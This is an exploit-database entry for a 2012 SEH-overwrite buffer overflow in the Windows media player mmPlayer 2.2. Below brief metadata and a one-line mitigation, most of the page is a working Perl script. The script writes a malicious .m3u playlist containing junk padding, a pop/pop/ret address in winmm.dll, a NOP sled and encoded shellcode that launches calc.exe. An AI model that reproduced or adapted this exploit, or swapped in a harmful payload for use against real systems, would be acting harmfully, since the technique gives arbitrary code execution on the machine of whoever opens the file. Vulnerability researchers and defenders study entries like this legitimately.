mmPlayer 2.2 (.m3u) Local Buffer Overflow Exploit (SEH)

vendor:

mmPlayer

by:

RjRjh Hack3r

7,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: mmPlayer

Affected Version From: 2.2

Affected Version To: 2.2

Patch Exists: Yes

Related CWE: N/A

CPE: a:brnameg:mmplayer

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP2 (EN)

2012

mmPlayer 2.2 (.m3u) Local Buffer Overflow Exploit (SEH)

This exploit is for mmPlayer 2.2, a media player for Windows. It is a local buffer overflow exploit that uses SEH (Structured Exception Handler) to overwrite the SEH handler and execute arbitrary code. The exploit is written in Perl and creates a malicious .m3u file that contains a payload of shellcode.

Mitigation:

Update to the latest version of mmPlayer.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# Title: mmPlayer 2.2 (.m3u) Local Buffer Overflow Exploit (SEH)
# Date: 23.03.2012
# Author: RjRjh Hack3r
# Software Link: http://www.brnameg.com/download.php?id=3859
# Tested on: Windows XP SP2 (EN)

my $file= "RjRjh.m3u";
my $junk= "\x41" x 4090;
my $next_seh= "\xEB\x06\x90\x90";
my $seh= "\x23\xC0\xB4\x76"; # pop/pop/ret 0x76B4C023 (winmm.dll) EBX
my $nop = "\x90" x 20;

# calc.exe
my $buf =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x30\x42\x30\x42\x30\x4b\x48\x45\x34\x4e\x53\x4b\x48\x4e\x47".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58".
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x38\x46\x33\x4b\x38".
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c".
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x55\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x58".
"\x4f\x55\x46\x32\x41\x30\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x38\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x34\x4e\x30\x4b\x38\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b".
"\x42\x30\x42\x30\x42\x30\x4b\x38\x4a\x46\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37".
"\x42\x45\x4a\x56\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x56\x4a\x59".
"\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x36".
"\x4e\x36\x43\x36\x42\x50\x5a";
open($File,">$file");
print $File $junk.$next_seh.$seh.$nop.$buf;
close($File);